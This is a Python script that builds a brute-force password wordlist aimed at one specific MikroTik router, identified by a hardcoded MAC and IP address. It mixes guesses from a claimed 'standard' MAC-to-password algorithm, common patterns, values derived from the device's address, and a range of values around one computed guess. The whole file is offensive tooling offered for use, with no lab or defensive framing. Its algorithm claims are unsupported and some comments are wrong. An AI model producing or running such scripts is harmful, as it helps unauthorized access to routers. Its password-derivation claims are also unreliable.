#!/usr/bin/env python3
"""
Generate comprehensive MikroTik password wordlist
Creates likely passwords based on common patterns, algorithms, and variations
"""

import itertools
import string
import binascii

def generate_mac_based_passwords(mac_address):
    """Generate passwords based on MAC address using various known algorithms"""
    passwords = []
    
    # Parse MAC address
    mac_parts = mac_address.upper().replace(':', '').replace('-', '')
    if len(mac_parts) != 12:
        return passwords
    
    mac_bytes = [int(mac_parts[i:i+2], 16) for i in range(0, 12, 2)]
    
    # Algorithm 1: Standard MikroTik (0xD0, 0xFF constants)
    pwd_bytes = [
        mac_bytes[0] ^ 0xD0,
        mac_bytes[1],
        (~mac_bytes[2]) & 0xFF,
        0xFF
    ]
    hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
    passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # Algorithm 2: Try different constants instead of 0xD0
    for const1 in [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0]:
        pwd_bytes = [
            mac_bytes[0] ^ const1,
            mac_bytes[1],
            (~mac_bytes[2]) & 0xFF,
            0xFF
        ]
        hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
        passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # Algorithm 3: Try different constants instead of 0xFF
    for const2 in [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03]:
        pwd_bytes = [
            mac_bytes[0] ^ 0xD0,
            mac_bytes[1],
            (~mac_bytes[2]) & 0xFF,
            const2
        ]
        hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
        passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # Algorithm 4: Different MAC byte positions
    for i in range(6):
        for j in range(6):
            for k in range(6):
                if i != j and j != k and i != k:
                    pwd_bytes = [
                        mac_bytes[i] ^ 0xD0,
                        mac_bytes[j],
                        (~mac_bytes[k]) & 0xFF,
                        0xFF
                    ]
                    hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
                    passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # Algorithm 5: Use MAC bytes directly (no XOR or NOT)
    for combo in itertools.permutations(mac_bytes[:4]):
        hex_str = ''.join(f'{b:02x}' for b in combo)
        passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # Algorithm 6: Simple MAC transformations
    # Last 4 bytes of MAC
    hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
    passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    # First 4 bytes of MAC
    hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
    passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
    
    return passwords

def generate_common_patterns():
    """Generate common password patterns"""
    passwords = []
    
    # Common numeric patterns
    patterns = [
        "0000-0000", "1111-1111", "2222-2222", "3333-3333",
        "1234-5678", "8765-4321", "0123-4567", "1357-2468",
        "aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
        "ffff-ffff", "dead-beef", "cafe-babe", "feed-face",
        "0000-0001", "0001-0000", "ffff-0000", "0000-ffff",
    ]
    
    # Year-based patterns (common installation years)
    for year in range(2015, 2025):
        passwords.extend([
            f"{year}-{year}",
            f"0000-{year}",
            f"{year}-0000",
            f"{year}-1234",
            f"1234-{year}",
        ])
    
    # Sequential numbers
    for i in range(0, 10000, 1111):
        hex_val = f"{i:04x}"
        passwords.append(f"{hex_val}-{hex_val}")
    
    # Common hex patterns
    hex_patterns = [
        "abcd-efab", "1a2b-3c4d", "a1b2-c3d4",
        "0a0b-0c0d", "f0f0-f0f0", "0f0f-0f0f",
    ]
    passwords.extend(hex_patterns)
    
    return patterns + passwords

def generate_device_specific_patterns():
    """Generate patterns specific to this device's MAC and IP"""
    passwords = []
    
    # Based on MAC B8:69:F4:12:8E:F8
    mac_parts = ["b8", "69", "f4", "12", "8e", "f8"]
    
    # Use parts of MAC in different combinations
    for i in range(len(mac_parts)-1):
        passwords.append(f"{mac_parts[i]}{mac_parts[i+1]}-{mac_parts[(i+2)%6]}{mac_parts[(i+3)%6]}")
    
    # Based on IP 10.250.2.2
    ip_hex = f"{10:02x}{250:02x}{2:02x}{2:02x}"  # 0afa0202
    passwords.extend([
        f"{ip_hex[:4]}-{ip_hex[4:]}",
        f"0afa-0202",
        f"250a-0202",  # Different byte order
        f"0a02-fa02",
    ])
    
    # Network-specific patterns (250.2 subnet)
    passwords.extend([
        "fa02-fa02",  # 250.2 in hex
        "0250-0002",  # Decimal to hex
        "f802-f802",  # 248.2 (common network)
        "0100-0100",  # 1.1 network
    ])
    
    return passwords

def generate_incremental_patterns():
    """Generate incremental/sequential patterns around likely values"""
    passwords = []
    
    # Around the calculated MAC-based password
    base_pwd = "6869-0bff"  # From the algorithm result
    base_int = int(base_pwd.replace('-', ''), 16)
    
    # Try values around the calculated one
    for offset in range(-1000, 1001):
        try:
            new_val = base_int + offset
            if 0 <= new_val <= 0xFFFFFFFF:
                hex_str = f"{new_val:08x}"
                passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
        except:
            continue
    
    return passwords

def main():
    mac_address = "B8:69:F4:12:8E:F8"
    
    print("Generating comprehensive MikroTik password wordlist...")
    
    all_passwords = set()  # Use set to avoid duplicates
    
    print("1. MAC-based algorithm variations...")
    mac_passwords = generate_mac_based_passwords(mac_address)
    all_passwords.update(mac_passwords)
    print(f"   Generated {len(mac_passwords)} MAC-based passwords")
    
    print("2. Common patterns...")
    common_passwords = generate_common_patterns()
    all_passwords.update(common_passwords)
    print(f"   Generated {len(common_passwords)} common pattern passwords")
    
    print("3. Device-specific patterns...")
    device_passwords = generate_device_specific_patterns()
    all_passwords.update(device_passwords)
    print(f"   Generated {len(device_passwords)} device-specific passwords")
    
    print("4. Incremental patterns...")
    incremental_passwords = generate_incremental_patterns()
    all_passwords.update(incremental_passwords)
    print(f"   Generated {len(incremental_passwords)} incremental passwords")
    
    # Remove any invalid passwords and convert to sorted list
    valid_passwords = []
    for pwd in all_passwords:
        if len(pwd) == 9 and pwd[4] == '-':
            try:
                # Validate it's proper hex
                int(pwd.replace('-', ''), 16)
                valid_passwords.append(pwd)
            except ValueError:
                continue
    
    valid_passwords.sort()
    
    # Write to file
    with open('mikrotik_wordlist.txt', 'w') as f:
        for pwd in valid_passwords:
            f.write(pwd + '\n')
    
    print(f"\nTotal unique valid passwords: {len(valid_passwords)}")
    print("Wordlist saved to: mikrotik_wordlist.txt")
    
    # Show first 20 passwords as preview
    print("\nFirst 20 passwords in wordlist:")
    for i, pwd in enumerate(valid_passwords[:20]):
        print(f"  {i+1:2d}: {pwd}")
    
    if len(valid_passwords) > 20:
        print(f"  ... and {len(valid_passwords) - 20} more")

if __name__ == "__main__":
    main()